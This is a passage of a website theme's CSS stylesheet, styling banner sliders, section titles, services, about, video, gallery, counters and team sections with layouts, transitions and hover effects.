transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; } .banner-section-four .btn-style-three:hover { background-color: #fff; color: var(--thm-black); } .banner-section-four .swiper-slide-active .btn-style-three, .banner-section-four .swiper-slide-active h2, .banner-section-four .swiper-slide-active p { visibility: visible; opacity: 1; -webkit-transform: translateY(0) translateX(0); transform: translateY(0) translateX(0); } .banner-section-four__nav { width: 100%; max-width: 1200px; padding-left: 15px; padding-right: 15px; position: absolute; top: 50%; left: 50%; z-index: 100; -webkit-transform: translateY(-50%) translateX(-50%); transform: translateY(-50%) translateX(-50%); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; z-index: 21; } @media (max-width: 425px) { .banner-section-four__nav { display: none; } } .banner-section-four__nav .swiper-button-next, .banner-section-four__nav .swiper-button-prev { position: relative; top: auto; left: auto; right: auto; bottom: auto; z-index: 100; width: 50px; height: 50px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 20px; color: #222429; background-color: #fff; border-radius: 50%; opacity: 0.3; margin: 0; text-align: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } @media (max-width: 991px) { .banner-section-four__nav .swiper-button-next, .banner-section-four__nav .swiper-button-prev { width: 48px; height: 48px; font-size: 18px; } } .banner-section-four__nav .swiper-button-next:hover, .banner-section-four__nav .swiper-button-prev:hover { opacity: 1; } .banner-section-four__nav .swiper-button-next::after, .banner-section-four__nav .swiper-button-prev::after { display: none; } .banner-section-four__nav .swiper-button-prev { margin-bottom: 10px; } @media (max-width: 991px) { .banner-section-four__nav .swiper-button-prev { margin-top: 10px; } } .banner-four { margin-top: 76px; padding-top: 80px; padding-bottom: 80px; position: relative; } @media (min-width: 992px) { .banner-four { margin-top: 120px; padding-top: 120px; padding-bottom: 120px; } } @media (min-width: 1200px) { .banner-four { padding-top: 185px; padding-bottom: 200px; } } .banner-four__title { margin: 0; color: var(--thm-black); font-size: 40px; font-weight: 500; } @media (min-width: 768px) { .banner-four__title { font-size: 60px; } } @media (min-width: 1200px) { .banner-four__title { font-size: 80px; } } .banner-four__title br { display: none; } @media (min-width: 768px) { .banner-four__title br { display: inherit; } } .banner-four__text { margin: 0; color: var(--thm-text); font-weight: 400; font-size: 20px; line-height: 1.6em; margin-top: 20px; } @media (min-width: 768px) { .banner-four__text { margin-top: 15px; font-size: 28px; } } .banner-four__text a { color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .banner-four__text a:hover { color: var(--thm-black); } .banner-four__scroll { width: 50px; height: 50px; border-radius: 50%; background-color: var(--thm-base); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 20px; color: #fff; margin-top: 20px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } @media (min-width: 768px) { .banner-four__scroll { width: 70px; height: 70px; font-size: 28px; } } @media (min-width: 1200px) { .banner-four__scroll { font-size: 34px; width: 90px; height: 90px; margin-top: 35px; } } .banner-four__scroll:hover { background-color: var(--thm-black); color: #fff; } .banner-four__social { position: absolute; top: 50%; right: 30px; -webkit-transform: translateY(-50%); transform: translateY(-50%); display: none; } .banner-four__social a { font-size: 20px; color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .banner-four__social a + a { margin-top: 30px; } .banner-four__social a:hover { color: var(--thm-base); } @media (min-width: 1200px) { .banner-four__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; right: 90px; } } .banner-four__info { position: absolute; display: none; left: 30px; top: 67%; -webkit-transform: translateY(-50%) rotate(-90deg); transform: translateY(-50%) rotate(-90deg); -webkit-transform-origin: left center; transform-origin: left center; } .banner-four__info span { font-size: 20px; color: var(--thm-text); font-weight: 400; } .banner-four__info span + span { margin-left: 30px; } @media (min-width: 1200px) { .banner-four__info { display: -webkit-box; display: -ms-flexbox; display: flex; left: 90px; } } /*** ==================================================================== 11. Section Title ==================================================================== ***/ .sec-title { position: relative; margin-bottom: 50px; } .sec-title.centered { max-width: 650px; margin: 0 auto; margin-bottom: 50px; } .sec-title .upper-text { position: relative; display: inline-block; line-height: 1.6em; font-size: 16px; color: #9b9fa6; font-weight: 400; margin: 0 0 20px; } .sec-title h2 { position: relative; display: block; font-size: 70px; line-height: 0.9em; text-transform: uppercase; color: var(--thm-black); font-weight: 400; margin-bottom: 0px; } .sec-title h2 strong { font-weight: 700; } .sec-title h2 .dot { color: var(--thm-base); padding-left: 7px; } .sec-title .lower-text { position: relative; display: block; font-size: 16px; line-height: 2.125em; font-weight: 400; color: var(--thm-text); padding: 30px 0px 0px; } /* section title two */ .sec-title-two { margin-bottom: 45px; } .sec-title-two p { text-transform: uppercase; margin: 0; letter-spacing: 0.1em; font-size: 14px; font-weight: 600; color: var(--thm-base); line-height: 1; } .sec-title-two h2 { margin: 0; font-size: 60px; color: var(--thm-black); font-weight: 800; } /*** ==================================================================== 12. Services Section ==================================================================== ***/ .services-section { position: relative; padding: 120px 0px 90px; background: #10275c url(../images/background/pattern-1.png) center top repeat; color: #ffffff; } .services-section .sec-title { margin-bottom: 30px; } .services-section .sec-title h2 { color: #ffffff; } .services-section .sec-title .lower-text { color: #999b9f; } .services-section .row { counter-reset: slides-num; } .services-section .row .service-block { counter-increment: slides-num; } .services-section .row .service-block .inner-box:before { content: "0" counter(slides-num) ""; position: absolute; left: 45px; top: 50px; font-size: 50px; line-height: 1em; color:#f8f9fa; /*opacity: 0.07;*/ font-family: var(--thm-font); font-weight: 300; } .service-block { position: relative; margin-bottom: 30px; } .service-block .inner-box { position: relative; display: block; padding: 50px 45px; background:#097845; min-height: 100%; border-radius: 7px; overflow: hidden; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block .inner-box:hover { background: var(--thm-base); } .service-block .inner-box .bottom-curve { position: absolute; right: -70px; bottom: 0; width: 100px; height: 80%; background: var(--thm-black); opacity: 0.2; z-index: 0; -webkit-transform: skewX(0deg) scaleX(0); transform: skewX(0deg) scaleX(0); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block .inner-box:hover .bottom-curve { -webkit-transform: skewX(-35deg) scaleX(1); transform: skewX(-35deg) scaleX(1); } .service-block .inner-box .count { position: relative; display: block; font-size: 50px; line-height: 1em; color: #ffffff; opacity: 0.07; margin-bottom: 40px; } .service-block .inner-box .icon-box { position: absolute; right: 45px; top: 50px; color: var(--thm-base); font-size: 64px; line-height: 1em; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block .inner-box:hover .icon-box { color: var(--thm-black); } .service-block .inner-box h6 { position: relative; margin: 0; margin-top: 90px; font-size: 20px; text-transform: uppercase; color: #ffffff; font-weight: 400; letter-spacing: 1px; line-height: 1.1em; } .service-block .inner-box h6 a { color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .services-section .row .service-block .inner-box:hover:before, .service-block .inner-box:hover .count, .service-block .inner-box:hover h6, .service-block .inner-box:hover h6 a { color: var(--thm-black); } .service-block .inner-box h6 a:hover { text-decoration: underline; } /* service three block */ .service-block-three { padding-top: 90px; } .service-block-three__single { margin-top: 30px; background-color: #eff1f4; padding: 50px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block-three__single:hover { background-color: var(--thm-base); } .service-block-three__single .icon-box span { font-size: 64px; color: var(--thm-base); margin-right: 40px; display: block; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block-three__single:hover .icon-box span { color: #fff; } .service-block-three__single h6 { margin: 0; color: var(--thm-black); font-size: 20px; line-height: 34px; font-weight: bold; text-transform: capitalize; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block-three__single:hover h6 { color: #fff; } .service-block-three__single h6 a { color: inherit; } /*** ==================================================================== 13. About Section ==================================================================== ***/ .about-section { position: relative; padding: 120px 0px 90px; background: #ffffff; } .about-section:before { content: ""; position: absolute; left: 0; top: 0; margin-left: -410px; width: 50%; height: 100%; /*background: #f4f5f8;*/ } .about-section .image-column { position: relative; margin-bottom: 30px; } .about-section .image-column .inner { position: relative; display: block; } .about-section .image-column .inner:before { content: ""; position: absolute; left: 0; width: 15px; height: 280px; background: var(--thm-base); border-radius: 8px; } .about-section .image-column .image-block { position: relative; display: block; border-radius: 7px; overflow: hidden; } .about-section .image-column .image-block img { display: block; width: 100%; /*-webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%);*/ border-radius: 7px; } .about-section .image-column .image-block:nth-child(1) { margin-left: 110px; } .about-section .image-column .image-block:nth-child(2) { margin-right: 140px; margin-top: -170px; } .about-section .text-column { position: relative; margin-bottom: 30px; } .about-section .text-column .inner { position: relative; display: block; padding-left: 60px; } .about-section .text-column .sec-title { margin-bottom: 35px; } .about-section .text-column .sec-title .lower-text { text-transform: uppercase; font-size: 26px; font-weight: 300; letter-spacing: 0; font-family: var(--thm-font); color: var(--thm-base); line-height: 34px; } .about-section .text-column .text { position: relative; font-size: 16px; font-weight: 400; line-height: 2.125em; font-family: var(--thm-b-font); } .about-section .text-column .text p { margin-bottom: 32px; line-height: 2.125em; } .about-section .text-column .text ul { position: relative; float: left; } .about-section .text-column .text ul li { position: relative; line-height: 1.7em; margin-bottom: 10px; padding-left: 35px; } .about-section .text-column .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; } .about-section .text-column .text .since { position: relative; float: left; margin-left: 82px; margin-top: 10px; } .about-section .text-column .text .since:before { content: ""; position: absolute; left: -10px; top: 0px; width: 80px; height: 80px; background: #e8e9e9; border-radius: 50%; } .about-section .text-column .text .since:after { content: ""; position: absolute; left: -42px; top: 0px; bottom: 0px; border-left: 2px solid var(--thm-base); } .about-section .text-column .text .since .txt { position: relative; display: block; padding: 21px 5px; width: 90px; height: 90px; line-height: 24px; text-align: center; background: var(--thm-black); text-transform: uppercase; color: #ffffff; border-radius: 50%; font-family: var(--thm-font); font-size: 20px; padding-top: 24px; } .about-section .text-column .link-box { padding-top: 30px; } /*** ==================================================================== 14. Live Section ==================================================================== ***/ .live-section { position: relative; padding: 120px 0px 0px; background: #ffffff; border-top: 1px solid rgba(0, 0, 0, 0.05); } .live-section__one-page { border-top: 0; } .live-section .main-image-box { position: relative; display: block; overflow: hidden; margin-bottom: -120px; z-index: 1; } .live-section .main-image-box .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 1; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); } .live-section .main-image-box .inner { position: relative; padding: 20px 0px; } .live-section .main-image-box .round-box { position: relative; display: block; float: right; right: -25px; width: 490px; height: 490px; border-radius: 50%; } .live-section .main-image-box .round-box:before { content: ""; position: absolute; left: -65px; top: -45px; width: 490px; height: 490px; background: var(--thm-black); opacity: 0.2; border-radius: 50%; } .live-section .main-image-box .round-inner { position: relative; display: block; width: 490px; height: 490px; padding: 190px 80px 50px 70px; background: var(--thm-base); border-radius: 50%; } .live-section .main-image-box .vid-link { position: absolute; left: 55px; top: 25px; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .live-section .main-image-box .vid-link .icon { position: relative; display: block; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; background: var(--thm-black); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .live-section .main-image-box .vid-link a:hover .icon { background: #ffffff; color: var(--thm-base); } .live-section .main-image-box .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 50%; } .live-section .main-image-box .vid-link .ripple, .live-section .main-image-box .vid-link .ripple:before, .live-section .main-image-box .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 100px; height: 100px; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .live-section .main-image-box .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .live-section .main-image-box .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } @-webkit-keyframes ripple { 70% { -webkit-box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); } 100% { -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); } } @keyframes ripple { 70% { -webkit-box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); } 100% { -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); } } .live-section .main-image-box .title { position: relative; } .live-section .main-image-box .title h3 { text-transform: uppercase; line-height: 1em; } .live-section .main-image-box .more-link { position: relative; text-align: right; } .live-section .main-image-box .more-link a { position: relative; display: inline-block; padding-bottom: 2px; vertical-align: top; color: var(--thm-black); font-size: 20px; font-weight: 400; letter-spacing: 1px; text-transform: uppercase; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; line-height: 1.25em; } .live-section .main-image-box .more-link a:hover { color: rgba(0, 0, 0, 0.3); } .live-section .main-image-box .more-link a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-black); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .live-section .main-image-box .more-link a:hover:before { border-color: rgba(0, 0, 0, 0.3); -webkit-transform: scaleX(0.5); transform: scaleX(0.5); } /* live section two */ .live-section-two { padding-top: 120px; padding-bottom: 120px; background-color: #18212e; } .live-section-two .jarallax-img { -webkit-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.25; } .live-section-two .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .live-section-two .sec-title-two { max-width: 557px; margin-bottom: 0; } .live-section-two .sec-title-two h2 { color: #ffffff; font-weight: bold; font-size: 60px; margin-top: 10px; } .live-section-two .button-block > a { width: 120px; height: 116px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; color: #ffffff; font-size: 26px; background-color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .live-section-two .button-block > a:hover { background-color: #fff; color: var(--thm-black); } /*** ==================================================================== 15. We DO Section ==================================================================== ***/ .we-do-section { position: relative; padding: 240px 0px 90px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .we-do-section .sec-title { margin-bottom: 40px; } .we-do-section .featured-block { position: relative; display: block; padding-left: 230px; min-height: 117px; margin-bottom: 40px; } .we-do-section .featured-block .image { position: absolute; left: 0; top: 0; width: 200px; } .we-do-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .we-do-section .featured-block .text { position: relative; top: -5px; display: block; font-size: 16px; line-height: 34px; font-weight: 400; margin-bottom: 32px; } .we-do-section .left-col { position: relative; margin-bottom: 30px; } .we-do-section .left-col .inner { position: relative; display: block; padding-right: 67px; } .we-do-section .right-col { position: relative; margin-bottom: 30px; } .we-do-section .right-col .inner { position: relative; display: block; } .we-do-section .progress-box { position: relative; display: block; width: 100%; font-family: var(--thm-font); } .we-do-section .progress-box .bar-title { position: relative; font-size: 20px; line-height: 1.1em; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 10px; } .we-do-section .progress-box .bar { position: relative; width: 100%; height: 7px; background: #ffffff; border-radius: 4px; } .we-do-section .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); border-radius: 4px; -webkit-transition: all 1500ms ease; transition: all 1500ms ease; } .we-do-section .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; background: var(--thm-black); color: #ffffff; line-height: 22px; font-size: 14px; font-weight: 500; border-radius: 5px; text-align: center; opacity: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .we-do-section .progress-box .counted .count-box { opacity: 1; } .we-do-section .progress-box .count-box:after { content: ""; position: absolute; left: 0; top: 100%; margin-top: -5px; border: 5px solid transparent; border-top: 5px solid var(--thm-black); border-left: 5px solid var(--thm-black); } .accordion-box { position: relative; } .accordion-box .block { position: relative; background: #ffffff; border-radius: 7px; overflow: hidden; margin-bottom: 16px; -ms-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.03); -webkit-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.03); box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.03); } .accordion-box .block.active-block { background-color: #ffffff; -ms-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.05); -webkit-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.05); } .accordion-box .block:last-child { margin-bottom: 0; } .accordion-box .block .acc-btn { position: relative; font-size: 20px; line-height: 32px; font-weight: 400; font-size: 20px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; padding: 20px 40px; padding-right: 60px; color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; font-family: var(--thm-font); } .accordion-box .block .acc-btn .count { color: var(--thm-base); padding-right: 3px; } .accordion-box .block .acc-btn:before { position: absolute; right: 35px; top: 20px; height: 30px; font-size: 15px; font-weight: 600; color: var(--thm-base); line-height: 30px; content: "\f116"; font-family: "Flaticon"; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .accordion-box .block .acc-btn.active { background-color: #ffffff; } .accordion-box .block .acc-btn.active:before { color: var(--thm-black); content: "\f104"; } .accordion-box .block .acc-content { position: relative; display: none; } .accordion-box .block .content { position: relative; padding: 0px 40px 30px; } .accordion-box .block .acc-content.current { display: block; } .accordion-box .block .content .text { display: block; position: relative; top: 0px; display: block; } /*** ==================================================================== 16. Gallery Section ==================================================================== ***/ .gallery-section { position: relative; padding: 0px 0 90px; } .gallery-section .upper-row { position: relative; } .gallery-section .upper-row .sec-title { position: relative; float: left; } .gallery-section .upper-row .filters { position: relative; /*float: right;*/ padding-top: 10px; } .gallery-section .more-box { position: relative; display: block; padding-top: 20px; text-align: center; padding-bottom: 10px; } /*=== Mixitup Gallery ===*/ .mixitup-gallery .filters { position: relative; margin-bottom: 40px; } .mixitup-gallery .filters .filter-tabs { position: relative; display: block; } .mixitup-gallery .filters li { position: relative; display: inline-block; vertical-align: top; font-size: 24px; line-height: 40px; padding: 0px 0px; cursor: pointer; color: #171818; font-weight: 300; margin: 0 0px 10px 30px; text-transform: uppercase; letter-spacing: 1px; background: none; -webkit-transition: all 300ms ease; transition: all 300ms ease; font-family: var(--thm-font); } .mixitup-gallery .filters li:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: left; transform-origin: left; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .mixitup-gallery .filters.centered li { margin: 0px 15px 10px; } .mixitup-gallery .filters li sup { position: absolute; right: 0; top: 3px; font-size: 16px; opacity: 0; visibility: hidden; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .mixitup-gallery .filters .filter.active { color: var(--thm-black); font-weight: 400; /*padding-right: 20px;*/ } .mixitup-gallery .filters .filter.active sup { opacity: 1; visibility: visible; } .mixitup-gallery .filters li.active:before { -webkit-transform: scaleX(1); transform: scaleX(1); } .mixitup-gallery .gallery-item-two { display: none; } .mix { display: none; } .gallery-item { position: relative; margin-bottom: 30px; } .gallery-item .inner-box { position: relative; border-radius: 7px; overflow: hidden; } .gallery-item .inner-box .image { position: relative; border-radius: 7px; } .gallery-item .inner-box .image img { display: block; width: 100%; height: 300px; /*-webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%);*/ -webkit-transition: all 300ms ease; transition: all 300ms ease; border-radius: 7px; } .gallery-item .inner-box:hover .image img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .gallery-item .cap-box { position: absolute; left: 20px; right: 20px; bottom: 20px; color: #ffffff; opacity: 0; -webkit-transform: translateY(200px); transform: translateY(200px); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .gallery-item .inner-box:hover .cap-box { opacity: 1; -webkit-transform: translateY(0px); transform: translateY(0px); } .gallery-item .cap-box .cap-inner { position: relative; display: block; padding: 25px 35px; background: var(--thm-black); border-radius: 7px; } .gallery-item a.overlay-box { position: absolute; left: 0; top: 0; width: 100%; height: 100%; } .gallery-item .cap-box .cat { position: relative; display: block; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; font-weight: 400; font-family: var(--thm-font); } .gallery-item .cap-box .cat span { position: relative; display: inline-block; vertical-align: middle; padding-right: 48px; } .gallery-item .cap-box .cat span:before { content: ""; position: absolute; right: 0; top: 50%; margin-top: -1px; width: 38px; border-bottom: 2px solid var(--thm-base); } .gallery-item .cap-box .title { position: relative; display: block; } .gallery-item .cap-box h5 { font-size: 22px; text-transform: uppercase; letter-spacing: 1px; font-weight: 400; margin: 0; } .gallery-item .cap-box h5 a { color: #ffffff; } .gallery-item .cap-box h5 a:hover { text-decoration: underline; } .gallery-block-three { background-color: #eff1f4; padding-top: 120px; padding-bottom: 90px; } .gallery-item-three { margin-bottom: 30px; } .gallery-item-three > img { width: 100%; } .gallery-item-three { position: relative; overflow: hidden; } .gallery-item-three__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 30px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; padding: 30px; -webkit-transform: rotateX(90deg); transform: rotateX(90deg); -webkit-perspective: 370px; perspective: 370px; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .gallery-item-three:hover .gallery-item-three__content { -webkit-transform: rotateX(0); transform: rotateX(0); } .gallery-item-three__content::before { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.9; } .gallery-item-three__content p { margin: 0; text-transform: uppercase; letter-spacing: 0.2em; font-size: 12px; font-weight: 600; color: #ffffff; position: relative; } .gallery-item-three__content h3 { margin: 0; color: #fff; font-size: 34px; line-height: 36px; font-weight: 800; position: relative; } .gallery-item-three__content h3 a { color: inherit; } /*** ==================================================================== 17. Fun Facts Section ==================================================================== ***/ .facts-section { position: relative; padding: 0px 0px 290px; background: #1c1e22; color: #ffffff; z-index: 2; } .facts-section.alternate { background: var(--thm-black); padding-bottom: 50px; } .facts-section .jarallax-img, .facts-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .facts-section.alternate .image-layer { display: none; } .fact-counter { position: relative; } .fact-counter .column { position: relative; text-align: center; margin-bottom: 70px; } .fact-counter .column .inner { position: relative; padding: 120px 0px 0px; } .fact-counter .column .inner:before { position: absolute; content: ""; left: -15px; right: -15px; top: 0; min-width: 100%; border-top: 4px solid var(--thm-base); -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .fact-counter .column:hover .inner:before { -webkit-transform: scaleX(1); transform: scaleX(1); } .fact-counter .column .inner:after { position: absolute; content: ""; right: -15px; top: 0; bottom: 7px; border-right: 1px solid rgba(255, 255, 255, 0.15); } .fact-counter .column:last-child .inner:after { display: none; } .fact-counter .column .inner .content { position: relative; text-align: center; } .fact-counter .column .inner .count-outer { position: relative; font-weight: 400; font-size: 80px; line-height: 1em; letter-spacing: 0px; display: block; font-family: var(--thm-font); } .fact-counter .column .inner .counter-title { position: relative; font-size: 18px; font-weight: 400; color: #fff; letter-spacing: 1px; font-family: var(--thm-font); text-transform: uppercase; } /*** ==================================================================== 18. We DO Section ==================================================================== ***/ .trusted-section { position: relative; padding: 0px 0px 70px; background: none; z-index: 2; } .trusted-section .outer-container { position: relative; margin-top: -240px; } .trusted-section .row { margin: 0 -4px; } .trusted-section .left-col { position: relative; padding: 0 4px; margin-bottom: 30px; } .trusted-section .left-col .inner { position: relative; display: block; } .trusted-section .col-header { position: relative; text-align: center; } .trusted-section .col-header .header-inner { position: relative; padding: 75px 50px 20px; min-height: 240px; background: var(--thm-base); font-weight: 400; font-size: 40px; line-height: 1.2em; text-transform: uppercase; letter-spacing: 0px; color: var(--thm-black); border-radius: 7px 7px 0px 0px; font-family: var(--thm-font); } .trusted-section .col-header .header-inner:before { content: ""; position: absolute; left: 0; bottom: -39px; width: 50px; height: 40px; background: url(../images/icons/curve-down-left.png) left top no-repeat; } .trusted-section .features { position: relative; } .trusted-section .feature { position: relative; display: block; padding: 55px 0px; padding-left: 90px; min-height: 170px; border-bottom: 1px solid #e9ebee; } .trusted-section .feature .count { position: absolute; left: 0; top: 55px; width: 60px; height: 60px; text-align: center; background: rgba(var(--thm-base-rgb), 0.2); padding: 10px; line-height: 40px; padding-top: 12px; font-size: 30px; letter-spacing: 1px; color: var(--thm-base); text-transform: uppercase; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; font-family: var(--thm-font); } .trusted-section .feature:hover .count { background-color: var(--thm-black); color: #fff; } .trusted-section .feature h5 { font-weight: 400; margin: 0; line-height: 1.15em; color: var(--thm-black); margin-bottom: 10px; } .trusted-section .feature .sub-text { font-weight: 400; font-size: 20px; letter-spacing: 0.1em; color: var(--thm-text); text-transform: uppercase; line-height: 1.25em; font-family: var(--thm-font); } .trusted-section .right-col { position: relative; padding: 0px 4px; margin-bottom: 30px; z-index: 3; } .trusted-section .right-col .inner { position: relative; display: block; min-height: 260px; padding: 115px 0px 0px 110px; background: #ffffff; border-radius: 7px 0px 0px 0px; } .trusted-section .right-col .inner:before { content: ""; position: absolute; left: 100%; top: 0; margin-left: -1px; width: 2000px; height: 100%; background: #ffffff; } .trusted-section .featured-block-two { position: relative; display: block; padding-left: 276px; min-height: 170px; } .trusted-section .featured-block-two .image { position: absolute; left: 0; top: 0; width: 250px; } .trusted-section .featured-block-two .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .trusted-section .featured-block-two .text { position: relative; top: -5px; display: block; line-height: 1.5em; } .trusted-section .featured-block-two .text ul { position: relative; } .trusted-section .featured-block-two .text ul li { position: relative; line-height: 2.125em; margin-bottom: 12px; padding-left: 30px; } .trusted-section .featured-block-two .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 19. Team Section ==================================================================== ***/ .team-section { position: relative; padding: 120px 0px 90px; background: none; z-index: 2; } .team-section.no-padd-top { padding-top: 0; } .team-section .carousel-box { position: relative; margin: 0 -5px; } .team-block { position: relative; margin-bottom: 30px; } .team-block .inner-box { position: relative; display: block; text-align: center; } .team-block .image-box { position: relative; display: block; overflow: hidden; } .team-block .image-box img { display: block; width: 70%; /*-webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%);*/ -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 7px; } .team-block .inner-box:hover .image-box img { -webkit-filter: 